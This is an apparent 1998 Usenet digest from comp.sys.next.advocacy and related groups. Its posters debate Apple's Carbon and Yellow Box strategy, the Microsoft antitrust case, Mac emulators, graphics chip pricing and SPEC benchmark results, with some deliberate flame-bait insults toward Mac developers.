> is ongoing with Carbon. There are likely many more Apple employees working
> on Carbon than anything else. What concerns do they have ? They want a
> text system that can handle more than 32K of text. They want to discourage
> programs from allocating all available memory and/or the system memory in
> "low" addresses. They want customizable menus. They want to be able to
> store fonts anywhere. They want proportional sliders. They want window
> layering (floating pallets). This is the dark ages people.
Face it, although we've got a fair number of seriously clueful Mac developers
as frequent contributors to this NG, this is apparently not the general rule.
To warm up old hostilities, I contend the following opionion:
<mode = frustration + flame bait>
The Mac as we know it is the platform with the highest luser-to-user ratio in
computing history (and this includes Sony playstations etc.). The average Mac
developer is a) years behind w/r to technical issues and b) as flexible as
ceramic tiles when it comes to technical innovation.
The bizarre thing is that they don't even notice how the world (i.e. the
"others" they have always felt too elated to even look at) has overtaken them
technologically. They trudge on without looking right or left, and they'd
still be programming with their coprolitic "toolbox" (preferably Pascal) in
twenty years time if you'd let them.
Also, most columnists in the Mac trade rags are so bloody incompetent that it
makes you wonder how these guys manage to operate the word processors they
use to type in their "wisdom". They even make the guys from "Byte" seem
competent (I guess that's the ultimate insult to any technical writer >:-)
Why the heck does one spend years studying computer science and "proper
programming" if you have to earn your money as an engineer in a world with
Microsoft/Windows and the Mac palaeo-technocretins as alternatives? Pig
farming[0] ain't so bad after all, I say...
At least I can play decent games on my Windows computer.
</mode = frustration + flame bait >
ys
Alexander Wilkie
[0] No offense against the oinkers; I actually _really_ like pigs. When
brought up in normal conditions, they are highly intelligent and sociable
animals, much more to my liking character-wise than dogs. The only problem I
have with pig farming is the lack of competitive career packages with
adequate retirement bonus... >;-)
--
e-mail: wilkie@cg.tuwien.ac.at (NeXTMail preferred, MIME o.k.)
www : http://www.cg.tuwien.ac.at/staff/AlexanderWilkie.html
pgp : finger wilkie@www.cg.tuwien.ac.at
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
Message-ID: <1998062203571000.XAA08076@ladder01.news.aol.com>
Date: 22 Jun 1998 03:57:09 GMT
Organization: AOL http://www.aol.com
References: <6mkd25$8c44@odie.mcleod.net>
I've had similar thoughts, but coming at things from a slightly different
direction.
With Mac OS X, I see Apple as having very little to differentiate itself (in a
positive, open fashion) from other Unix vendors or for that matter, other
hardware/software companies.
As I see it, the only things which Apple will offer with Mac OS X will be:
1. Blue Box--fully compatible Mac emulation
but ARDI's Executor is pretty close, and there's arguably Fusion or vMac.
2. Carbon--a legacy set of programming APIs, which bring the potential nearly
as large a collection of programs as Windows.
3. Proprietary Apple technologies--QuickDraw, ATSUI, etc.
4. Proprietary Apple hardware as one's sole hardware option
I think this will be a real drawback in a lot of markets as others have argued
very persuasively
5. Proprietary Apple Macintosh Graphical User Interface.
I don't think that this will pull in many new customers and will drive a lot of
potential customers. As I've argued in the past, I think the NeXT interface
would've done better in this regard.
6. NeXT technologies like Interface Builder, Web Objects, etc.
This is the best thing in the deck to my mind, but I don't know if it's enough.
7. The Apple brand name
That's it. So, the question becomes, what's to prevent a Unix vendor from
coming up alongside Apple with another FreeBSD Unix with:
1. a Mac compatibility package, i.e. Executor
2. a wide base of software (WABI?, SoftPC?)
3. Apple's porting QuickTime to everything, right? These're open standards,
can't one do one's own QT stuff?
4. The Linux crowd seems to have the hardwrae matter well in hand...
5. www.windowmaker.org
6. Is there anything as good as Interface Builder? Close? How about a nicely
packaged SmallTalk or Forth?
7. Which companies have the reputation necessary to pull this kind of thing
off?
The more I think about this, the more I think ARDI is going to do very well in
the next couple of years. Wish they sold stock.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: dpetticord@hotmail.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Mon, 22 Jun 1998 05:07:29 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6mkoqh$8lp$1@nnrp1.dejanews.com>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <SCOTT.98Jun8115024@slave.doubleu.com> <6lkna9$bsi$1@nnrp1.dejanews.com> <35906d0c.13309108@news.supernews.com> <6mh0iv$e25$1@nnrp1.dejanews.com> <35deaab4.128506219@news.supernews.com>
In article <35deaab4.128506219@news.supernews.com>,
mdevlin@eltrax.com (T. Max Devlin) wrote:
<snip>
> >> "People were", "small offices were"; something about that phrasing
> >> bothers me, what is it? Could it be the "market is proof that the
> >> market is right" argument?
> >
> >I do not think of the market as right or wrong, it just "is". To me arguing
> >about the correctness of the market is like arguing about the appropriate
> >brightness of the sun.
>
> You can only assume that the market just "is", if you also assume that
> all markets are "free", "fair", and "competitive", depending on your
> choice of term. You are correct, a market that is broken, strictly
> speaking, is not a market. But I think you've dodged the point: your
> attribution of volition to arbitrary groups like "people" or "small
> offices" lends credibility to the market that is not necessarily valid.
> You are using sales figures to derive motivations.
>
You are correct. I admit to relying on my personal experiences to project
motivations to an entire market, but I find myself constantly telling people
that the Internet and LANs were NOT invented by Microsoft. I guess it is the
price I pay for supporting Microsoft products along with other non-microsoft
products. So I will revise my statement to "IN MY OPINION, a significant
number of people saw Microsoft products as the easy way to access the
Internet and establish small office networks".
<snip>
> >I think we somewhat agree here too, but your arguments are treading
> >dangerously close to suggesting Microsoft CAUSED the mass market's interest
> >in the Internet.
>
> Never. Not in the slightest. _You_ brought up the phrase "people were
> hearing about how easy it was to get online with Win95", or some such.
> I was merely refuting this bogus claim.
>
I appologize, I misunderstood your argument. I am still a little fuzzy on
your position. Are you saying "the Internet became easy to access (WWW, etc)
by itself and any credit Win95 received is totally bogus"?
If this is what you are saying, I would agree this was true for the technical
types like us. I used the company's VAX to access the internet well over
10 years ago. Trumpet was good for getting a TCP/IP connection on Windows3.1,
but all of this was still too complicated for the mass market. OS/2 warp got
a LOT of mass market attention by advertising itself as the on-ramp to the
internet. At the time, I thought IBM had a real chance at a come back.
(I was not alone in this misguided presumption).
> > It is contradictory to argue Microsoft created a market
> >while at the same time trying to restrict Microsoft's access to it. I tend
> >to think it was more a matter of timing, the mass market was ready for the
> >internet, Microsoft (and others) exploited that readiness.
>
> Others exploited the readiness; Microsoft exploited them. The mass
> market wasn't "ready" for the Internet. The Internet was ready for the
> mass market. Or at least some bureaucratic dweebs in Washington thought
> so.
>
You lost me on the "dweebs" part. In fact you lost me on most of this
argument. I am saying the rapid growth of the internet was due to public
interest combined with cheap, easy to use, software tools. What are you
saying?
<snip>
> Just what exactly is the definition of "anti-competitive" in this sense.
> I was under the impression that, in order to even _hope_ to succeed with
> an anti-competitive behavior, you have to be doing something illegal.
>
It is "anti-competitive" to lock a customer into a multi-year contract.
It is "anti-competitive" to suppress technological breakthroughs.
These are legal activities for most companies.
I could probably think of a few more, but hopefully you get the idea. Just
because it is anti-competitive, does not mean it is illegal. Now, if you
are defining anti-competitive to mean "actions that will result in the
elimination of ALL competitors", this is a different story, but I assume
you are not making the threshold that high. My definition of anti-competitive
activity is any activity whose purpose is to hinder competitors from selling
to a company's current or potential customers by means other than fair pricing
and product quality. What is your definition?
> > Again, the
> >threshhold of illegality is anticompetitive actions that ONLY a monopoly can
> >do.
>
> I hardly think that anti-competitive actions from competitive
> (non-monopoly) companies would be very effective. So yea, I guess you
> could call them "legal", though I think the term "stupid" would be more
> appropriate. Wouldn't anyone other than a monopoly only _hurt_ their
> market share by trying to be anti-competitive?
>
I do not agree. There are many examples of small companies raising barriers
for start-up companies into "their" industry. Do you really think small
software companies DON'T try to trap with propriatary software designs?
I can list many instrumentation vendors that do exactly this.
> > It does not take being a monopoly to design your product in such a way as
> >to frustrate competitor's efforts to compete against it. I do not believe
> >there is a precedent where a product DESIGN was ruled illegal.
>
> Well, no, I guess it is the mechanisms instantiated by the design that
> would be illegal.
>
huh?
Lets cut to the point here. Let's look at software as a set of legos (the
Object Oriented Design ideal). Microsoft has the nuclear power pack piece
that every kid wants. Instead of selling that piece by itself, Microsoft
thought about bundling other lego pieces with the power pack. Opps, that
would be illegal tying, so Microsoft decided to start using glue and,
presto-chango, a new, single, much-larger, lego piece.
It is the gluing action that is the problem here. The law has restriction on
using LICENSES to bundle separate products. The law even has restrictions on
PACKAGING separate products together. We are now pondering the question of
DESIGN justification. It will be new territory for the courts to question
Microsoft's anti-competitive use of design "glue".
> [...]
> >The DOJ is trying to establish a new precedent to cover product design.[...]
>
> Whoa, now. Where did you get this? You're not claiming that "this is
> all about the gov't trying to tell MS how to write software", are you?
> I would have expected more mental rigor from you, Dave.
>
Max, this is the whole paradox. How will the DOJ justify the separation of
browser from operating system without talking about design? If the DOJ could
take an off-the-shelf Windows98 and show two separate, functional products,
they might have a chance. There is little hope of them doing that.
That leaves few choices. They could argue the unpopular idea of restricting
DESIGN. They could argue that software FUNCTIONS are the products and not the
code. They could define software as SERVICES. All of these are arguments
with no legal precedents.
The other possibility is to use mis-direction. Find them guilty of
participating in an illegal discussions with Netscape and punish them by
forcing a separation of products or groups. This falls into the category
of "any guilty verdict will do".
> > But
> >even they are hedging their bets by giving Microsoft the "out" of putting
> >competing browsers on the desktop. Even this remedy requires that the DOJ
> >demostrate a substantial illegal activity on Microsoft's part first.
>
> I'm seriously confused. It was my understanding that the "illegality"
> at issue with Sherman Act legislation was that a monopoly cannot
> "restrain trade". I must admit, I'm not familiar with the specifics of
> any specifically proscribed actions. But the DoJ does not seem to have
> a major obstacle in proving that Microsoft's strategy of ignoring the
> distinct markets of PC hardware, MS operating systems, and PC apps is
> based on illegal activity, according to the anti-trust law.
We are getting to focus of our disagreements. You are pointing to the
big picture result "trade is being restrained" and I am looking for the
specific ILLEGAL cause. I feel the DOJ has to provide specific, illegal
activities in order to prove Microsoft's guilt. In the IBM case, the DOJ
could submit a standard IBM contract as evidence showing that IBM forces
customers to take IBM software along with their hardware. In this case,
the DOJ will be submitting a single CD containing Windows98.
You are making a good argument, but I think the honest argument is that
this is a case where software DESIGN is the illegal activity and must be
restricted in the case of monopolies. It is not a popular argument, but
Max, it is the only one that truly justifies the remedies you wish to
impose. Microsoft is saying the Web Browser is part of the Operating System.
If you want, blame Microsoft for forcing you and the DOJ to take that DESIGN
decision away from them, but that is what it is going to take for a direct
challenge (IMO).
> As for
> specific remedies, I wouldn't call being satisfied with anything that
> allows competition to be "hedging their bets".
>
Even the DOJ is suggesting the open desktop is "one of many options". The
DOJ does not want to force the court into an all-or-nothing decision. I do
not fault the DOJ for this.
<snip>
> If the only reason you can come up with that the contempt case is
> invalid is "Microsoft is so full of shit, that their legal agreements
> are worthless to being with", I guess I support your approach. But you
> seem awfully trollish today, David. Maybe it's just me...
>
<g> It was the only compromise you seem to be willing to accept. I say
Microsoft has been consistent in their Consent Agreement arguments since
1994. If all I have to do is grin and bare it when you say they have been
consistantly "full of shit", I guess it is worth it for an uneasy peace.
<snip>
> >Are you blaiming Microsoft because they are defending themselves?
>
> Well, I honestly have _no idea_ where you got that idea, but in all
> honesty, YES. I am wholeheartedly blaming Microsoft for defending
> itself. Any company with the slightest amount of technical integrity
> would say "OK, well, you know, software can do anything, so let's work
> this out..." But trying to take over the world was more attractive to
> them then writing quality software that could change the world.
>
> The real fraud is the idea that Bill Gates is a visionary.
>
I never thought of him as a visionary. I have generally thought of him as
a good snake-oil salesman. I just wish we would quit blaming those that
expose our weaknesses and start fixing the root problems.
<snip>
>Lacking unethical and illegal restraint of trade, the
> normal response to "this is the way we write our software, take it or
> leave it" is "take a hike."
We are back to "this situation is impossible to be legal". Maybe I am
too experienced technically. I long ago gave up on the idea of building
a better mouse-trap in order to get people knocking on my door. I work
very hard to understand the state-of-the-art in computer hardware and
software. I tore apart my Apple II+ and put it back together again,
both hardware and software. I have been on the Amega, OS/2, Linux and other
bandwagons. I have managed the production of several multi-tasking operating
systems (one is still in use today). Worked with languages from machine code
to Ada. I humbly submit I am good. Yes Max, I know how things SHOULD be and
I strive for technical excellance. I make a reasonable living doing this and
my conscence is clear. Why, then, am I "fighting" against Microsoft critics?
Because, it is important that we do not falsely feel purged of our sins
through the crucifiction of Microsoft. What is the plan AFTER Microsoft is
destroyed? I do not agree with your optimistic view of our industry. Things
could get worse, much worse.
David Petticord
Complete Networks, Inc.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
Date: Mon, 22 Jun 1998 09:13:35 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6ml77u$pr6$1@nnrp1.dejanews.com>
References: <6mkd25$8c44@odie.mcleod.net> <1998062203571000.XAA08076@ladder01.news.aol.com>
In article <1998062203571000.XAA08076@ladder01.news.aol.com>,
willadams@aol.com (WillAdams) wrote:
> The more I think about this, the more I think ARDI is going to do very well in
> the next couple of years. Wish they sold stock.
Actually, ARDI isn't even close to having an emulator useful in doing work:
- they have only implemented a subset of the System 7 APIs - they have only
implemented a subset of the undocumented properties that MacOS applications
rely on - they don't have any support for control panels or extensions - you
can't (nor can any application) use the Finder
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
Date: 22 Jun 1998 09:44:47 GMT
Organization: The World's Usenet -- http://www.Supernews.com
Message-ID: <6ml92f$2do$2@supernews.com>
References: <6mkd25$8c44@odie.mcleod.net> <6mku6n$lk61@odie.mcleod.net>
<6ml68j$6ik$1@news.tuwien.ac.at>
Mime-Version: 1.0
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Content-Transfer-Encoding: 7bit
Cc: wilkie@cg.tuwien.ac.at
Alexander Wilkie may or may not have said:
-> In <6mku6n$lk61@odie.mcleod.net> "Michelle L. Buck" wrote:
-> > Read the WWDC Carbon session notes. It is really depressing. A lot of
-> work
-> > is ongoing with Carbon. There are likely many more Apple employees
working
-> > on Carbon than anything else. What concerns do they have ? They want a
-> > text system that can handle more than 32K of text. They want to
discourage
-> > programs from allocating all available memory and/or the system memory
in
-> > "low" addresses. They want customizable menus. They want to be able to
-> > store fonts anywhere. They want proportional sliders. They want window
-> > layering (floating pallets). This is the dark ages people.
->
-> Face it, although we've got a fair number of seriously clueful Mac
developers
-> as frequent contributors to this NG, this is apparently not the general
rule.
-> To warm up old hostilities, I contend the following opionion:
->
-> <mode = frustration + flame bait>
->
-> The Mac as we know it is the platform with the highest luser-to-user ratio
in
-> computing history (and this includes Sony playstations etc.). The average
Mac
-> developer is a) years behind w/r to technical issues and b) as flexible as
-> ceramic tiles when it comes to technical innovation.
To be fair, this was not always the case. There was a time where the Mac was
where you'd find the most innovative and forward-thinking developers in
anything remotely like a mass market.
Ground-breaking applications like PageMaker and LabView started on the Mac.
But, let's also realize that COBOL was a vast improvement in the science of
programming languages, and that early COBOL coders were leading-edge
developers, too.
The problem is that erstwhile revolutionaries, having fought for a particular
thing, aren't willing to give that thing up once something better comes
along.
-> The bizarre thing is that they don't even notice how the world (i.e. the
-> "others" they have always felt too elated to even look at) has overtaken
them
-> technologically. They trudge on without looking right or left, and they'd
-> still be programming with their coprolitic "toolbox" (preferably Pascal)
in
-> twenty years time if you'd let them.
Sure, some people are going to get stuck in whatever they enjoyed as young
engineers. I've seen this in fields ranging from Mac software to designing
high-voltage power supplies. As for letting them stick to their old ways,
who are we to force anyone to change how they work? Let's just eat their
lunch.
-> Also, most columnists in the Mac trade rags are so bloody incompetent that
it
-> makes you wonder how these guys manage to operate the word processors they
-> use to type in their "wisdom". They even make the guys from "Byte" seem
-> competent (I guess that's the ultimate insult to any technical writer >:-)
The only way to improve *that* situation would be for a large number of
competent engineers to learn how to write. I'm not holding my breath for
that one.
-> Why the heck does one spend years studying computer science and "proper
-> programming" if you have to earn your money as an engineer in a world with
-> Microsoft/Windows and the Mac palaeo-technocretins as alternatives? Pig
-> farming[0] ain't so bad after all, I say...
My position is, it really doesn't matter whether anyone else gets it: I'll
write my code my way, and if anyone asks why I'm able to do it
better/faster/cheaper, I'll tell them. It's the same thing Lispers and
Smalltalkers have known for decades: the world isn't going to be convinced
en masse, and we don't really need them to be.
-jcr
Date: Mon, 22 Jun 1998 06:35:55 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Message-ID: <joe.ragosta-2206980635560001@elk68.dol.net>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <see-below-1706981807140001@dynamic62.pm07.mv.best.com> <slrn6oh5t5.p7f.sal@panix3.panix.com> <358B2F85.1053B40@spamtoNull.com> <joe.ragosta-2006980714560001@elk32.dol.net> <358DA154.6CD1B486@spamtoNull.com>
In article <358DA154.6CD1B486@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> Joe Ragosta wrote:
> >
> > In article <358B2F85.1053B40@spamtoNull.com>, Jonathan Harker
> > <Limeyville@spamtoNull.com> wrote:
> >
> > > It's all economics at Apple these days. The ATI graphics tech is simply
> > > the *cheapest* Apple can buy.
> >
> > Yet another erroneous bit of FUD from Harker.
> >
> > I suppose you've seen the price quotes that Apple relied upon?
> >
> > And I suppose you can explain why buying the ATI graphics set is less
> > expensive than just reusing their own chipset? Oh, you say that their own
> > chip set is outdated and slow? So price isn't the only issue, right?
> >
>
>
> Try thinking things out a little before you post, Joe. ATI has an
> *economies of scale* that Apple can only dream about insofar as graphics
> chip production is concerned.
[snip]
>
> Far from being FUD, it's a fact. If you were more conversant with the
> larger computer market, you'd know everything I've said about ATI is
> true. Apple is banking on the fact that you don't.
Sure. ATI has economies of scale. But that doesn't prove your position.
You're saying that there isn't a single graphics chip set out there that's
less expensive than the ATI Rage II??? I'd say you're wrong. There are S3
chip sets, for example, that are much less than the Rage II.
So your assertion is wrong.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: schuerig@acm.org (Michael Schuerig)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
Date: Mon, 22 Jun 1998 13:04:47 +0200
Organization: Completely Disorganized
Message-ID: <1db0zls.lcwst2v9czm0N@rhrz-isdn3-p59.rhrz.uni-bonn.de>
References: <6mkd25$8c44@odie.mcleod.net> <6mku6n$lk61@odie.mcleod.net> <6ml68j$6ik$1@news.tuwien.ac.at>
Mail-Copies-To: never
Alexander Wilkie <wilkie@cg.tuwien.ac.at> wrote:
> The Mac as we know it is the platform with the highest luser-to-user ratio in
> computing history (and this includes Sony playstations etc.). The average Mac
> developer is a) years behind w/r to technical issues and b) as flexible as
> ceramic tiles when it comes to technical innovation.
Mac developers are years behind? It would help for sure if you told us
who's on the bleeding edge: The Wintel crowd? Smalltalkers? Lisp-Machine
Hackers? CMM level N shops? The Holy Java Revolution? Or the Patterns
Movement? (Let's rule out the last one up front: "It's all been in the X
Kit for years" as I've heard more than one old-time NeXters say.)
> The bizarre thing is that they don't even notice how the world (i.e. the
> "others" they have always felt too elated to even look at) has overtaken them
> technologically.
I seem to be missing something. I'm starting to learn the YB, but you're
implying that there's something much better than it. So, maybe I should
not waste any time on the YB, just leapfrog it and go for the real thing
-- please show me the light.
Michael
--
Michael Schuerig
mailto:schuerig@acm.org
http://www.uni-bonn.de/~uzs90z/
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Date: 22 Jun 1998 04:50:35 GMT
Organization: University of Maryland, College Park
Message-ID: <6mknqr$j7i$1@hecate.umd.edu>
References: <joe.ragosta-1906981305340001@wil53.dol.net> <B1B0B7F3-61E7C@206.165.43.175> <joe.ragosta-2006980712410001@elk32.dol.net> <6mha18$l86$1@hecate.umd.edu> <bgrubb-2106981119150001@lc094.zianet.com> <6mjokn$37e$1@hecate.umd.edu> <bgrubb-2106981925050001@lc183.zianet.com>
Bruce L. Grubb (bgrubb@zianet.com) wrote:
: In article <6mjokn$37e$1@hecate.umd.edu>,
: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang) wrote:
: >Bruce L. Grubb (bgrubb@zianet.com) wrote:
: >: There are simply too many factors involved to get a computer simply by
: >: what the SPECs are. Unless you have the OS-RAM-cache-hardware information
: >: that goes along with the SPECs the numbers are useless.
: >
: >SPECs are not the end all and be all of benchmarks. Nothing is, but it is
: >not a measure of "IDEAL" performance either.
: That is the way SPECmarks are being used in the computer magazines. How
: often is the improtant conficguration information retained
There is one thing about SPECmarks, you can always look up the relevent
configuration information. All of the officially submitted scores are
kept online at www.specbench.org
: >It has always been the SPEC rules that along
: >with every SPECmark submission that OS-RAM-cache-hardware information
: >be disclosed, else, as you say, those scores are useless.
: And how often is that accually done? Far too often it is stated that
: 'chip CPU has SPECmark such and such' which as we both know is drivel. A
: chip CPU by itself cannot have a SPECmark - it needs additional hardware
: as well as software to do the benchmark.
Well, if this is a sin, it is certainly not a sin unique to the reporting
of SPECmarks. A chip cannot have Caffeinmarks, Bytemarks, Whetstone flops,
Dhrystone mips, Winstones, Quake Framerate, etc. We all want an absolute
number that can tell us how something is likely to perform in any kind
of situation. As a math prof told me a long time ago, a "closed form"
mathematical description of the system. As far as I know, and the hundreds
of architects/designers that I've spoken to knows, there is no such closed
form description of a processor's performance. If you can figure it out,
you'll be rich. (or at the least, famous). The only thing you can do is
be vigilant, and when someone tosses you a number, ask for the
OS-compiler-RAM-hardware config of the system in question, regardless of the
benchmark used.
From: wilkie@cg.tuwien.ac.at (Alexander Wilkie)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
Date: 22 Jun 1998 12:04:08 GMT
Organization: Vienna University of Technology, Austria
Message-ID: <6mlh7o$g5l$1@news.tuwien.ac.at>
References: <6mkd25$8c44@odie.mcleod.net> <6mku6n$lk61@odie.mcleod.net>
<6ml68j$6ik$1@news.tuwien.ac.at> <1db0zls.lcwst2v9czm0N@rhrz-isdn3-p59.rhrz.uni-bonn.de>
Mime-Version: 1.0
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Cc: schuerig@acm.org
In <1db0zls.lcwst2v9czm0N@rhrz-isdn3-p59.rhrz.uni-bonn.de> Michael Schuerig
wrote:
> I seem to be missing something. I'm starting to learn the YB, but you're
> implying that there's something much better than it.
You're one of those that I didn't want to hit with my comments. YB is
certainly not the solution to all problems, but it's IMHO _really_ nice. At
the core of my rant is the fact that apparently so few Mac developers
actually take the trouble to take a look at it (and also try to understand
it, for that matter).
This was what caused the current "back to Carbon" move at Apple, and the
corresponding downplay of native YB, with all the Java crap thrown in. And
please don't argue that "YB is going to be in Carbon anyway". If the past two
months were not a "cold killing"[0] of a product (YB), what is?
ys
Alexander Wilkie
[0] or at least bad mutilation (Java)
--
e-mail: wilkie@cg.tuwien.ac.at (NeXTMail preferred, MIME o.k.)
www : http://www.cg.tuwien.ac.at/staff/AlexanderWilkie.html
pgp : finger wilkie@www.cg.tuwien.ac.at
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.next.advocacy
Subject: cancel
Control: cancel <6me1hp$bra$1@sun27.hrz.tu-darmstadt.de>
Date: 22 Jun 1998 12:01:23 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <6mlh2j$h4t$1@sun27.hrz.tu-darmstadt.de>
cancel
From: John Hornkvist <sorry@no.more.spams>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Mon, 22 Jun 1998 12:20:29 GMT
Organization: Chalmers Tekniska Högskola
Sender: john@haddock.cd.chalmers.se (John Hprnkvist)
Message-ID: <EuyCy5.300@haddock.cd.chalmers.se>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126>
<EuspsG.H7w@haddock.cd.chalmers.se> <6mh32i$5t4$3@hecate.umd.edu>
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In <6mh32i$5t4$3@hecate.umd.edu> David T. Wang wrote:
> John Hornkvist (sorry@no.more.spams) wrote:
>
> : SPECfp is turning into a memory system benchmark rather than a fpu
benchmark.
>
> This maybe true for the G3 class of mahcines, but this does not appear to
> be true for the Pentium II systems.
[examples snipped.]
You should not look at the aggregates! That hides a lot of information about
the capabilities of processors. I you look at the benchmark scores for each
member of the suite, you'll see a different picture.
If the throughput of the memory bus is the only factor that affects the
benchmark, you would expect a 50% increase. If only the latency of the memory
system matters you should see little or no improvement. If the speed of the
FPU is the controlling factor, the speed up should be 20%.
400MHz 333MHz Speed up%
101.tomcatv: 23.1 17.0 36
102.swim: 31.4 22.9 37
103.su2cor: 7.53 5.58 35
104.hydro2d: 7.21 5.12 41
107.mgrid: 7.99 6.20 29
110.applu: 9.20 6.92 33
125.turb3d: 11.1 8.80 26
141.apsi: 14.3 11.4 25
145.fpppp: 16.6 13.8 20
146.wave5: 11.7 9.55 23
The 145.fppp benchmark is the only one which shows only a 20% increase. This
benchmark is sequenctial in nature, and uses a small working set. It is
sequential on the macro level, but a good test of super scalar features.
Apsi is also sequential in nature. I guess this is true for Wave5 also, but I
do not know for sure.
Tomcatv and Swim are both very sensitive to the speed of the memory system.
That the increase is not 50% may be because the FPU is not fast enough to
keep up, or because the latency of the memory system keeps the useable
bandwidth down.
Mgrid, Su2cor and Hydro2d can be parallelized rather easily, which is
difficult to do with a stack machine.
In summary, it seems that the Pentium II does very well in tests that stress
the memory subsystem, but that it is difficult to exploit macro parallelism
with it -- which is expected of stack machines.
If anyone can dig up the results or estimates for the PPC 750, it would be a
very interesting comparison. The large register file of the PPC should make
it easier to exploit (macro) parallelism, which should make a significant
difference in Mgrid, Su2cor and Hydro2d.
Further, if there are any games programmers around, perhaps they could
comment on what part of the benchmark suite is relevant to their problems.
Regards,
John Hornkvist
Address: cd.chalmers.se
Name: nhoj
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
From: lars.farm@ite.mh.se (Lars Farm)
Message-ID: <1db140o.1c5qj3e1fh2ytcN@dialup121-1-20.swipnet.se>
References: <6mkd25$8c44@odie.mcleod.net> <6mku6n$lk61@odie.mcleod.net> <6ml68j$6ik$1@news.tuwien.ac.at> <1db0zls.lcwst2v9czm0N@rhrz-isdn3-p59.rhrz.uni-bonn.de> <6mlh7o$g5l$1@news.tuwien.ac.at>
Organization: pv
Date: Mon, 22 Jun 1998 12:53:20 GMT
NNTP-Posting-Date: Mon, 22 Jun 1998 14:53:20 MET DST
Alexander Wilkie <wilkie@cg.tuwien.ac.at> wrote:
> At
> the core of my rant is the fact that apparently so few Mac developers
> actually take the trouble to take a look at it (and also try to understand
> it, for that matter).
>
> This was what caused the current "back to Carbon" move at Apple, and the
> corresponding downplay of native YB, with all the Java crap thrown in.
Wrong diagnosis. It's not the API or technology. It is wait-and-see. Why
bother until they actually deliver? This was wise. Apple again changed
direction and those still interested continues to watch silently.
--
Lars Farm; lars.farm@ite.mh.se - Limt/Channelmatic: lars.farm@limt.se
From: merefbast@aol.com (MerefBast)
Newsgroups: comp.sys.next.advocacy
Subject: [Q] the basics on NeXT
Message-ID: <1998062213365600.JAA09776@ladder01.news.aol.com>
Date: 22 Jun 1998 13:36:56 GMT
Organization: AOL http://www.aol.com
Hi. Looking for the basic information on NeXT, NeXTSTEP, and OpenSTEP:
URLs for official web site(s).
URLs for FAQs.
URLs for user groups.
Any other related useful URLs or references.
Thanks much!
--Milo (MerefBast@aol.com) <http://msem26.eng.ohio-state.edu/os/oses/next.htm>
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
Date: 22 Jun 1998 06:49:02 -0700
Organization: Primenet (602)416-7000
Message-ID: <6mlnce$27m@nntp02.primenet.com>
References: <6mkd25$8c44@odie.mcleod.net> <6mku6n$lk61@odie.mcleod.net> <6ml68j$6ik$1@news.tuwien.ac.at> <1db0zls.lcwst2v9czm0N@rhrz-isdn3-p59.rhrz.uni-bonn.de>
Michael Schuerig <schuerig@acm.org> wrote:
: Mac developers are years behind? It would help for sure if you told us
: who's on the bleeding edge: The Wintel crowd? Smalltalkers? Lisp-Machine
: Hackers? CMM level N shops?
Myths aside, the PC mareket has been more about delivering old technology
to a wide market than about inventing technology.
The PC companies had a relatively simple game plan for a lot of years:
"Split off those big-computer techniques that fit in a microcomputer, and
package them as an OS." Some companies did that more effectively than
others ... perhaps because each year of microcomputer evolution meant that
you could fit in more big-computer techniques.
The Mac was a more effective graphics machine than a Apple II, and QNX was
a more effective command line OS than DOS. Both Mac and QNX had some very
interesting innovations, but for the most part they were delivering older
solutions to a wider market.
As the PC market soaked up the old technolgy, the PC makers had to look to
smaller fringe players for new ideas.
Along the way, PC makers racked up some solid inventions and innovations,
but PCs are still more about delivering technology than inventing
technology.
If you want to find the edge, don't go to the store.
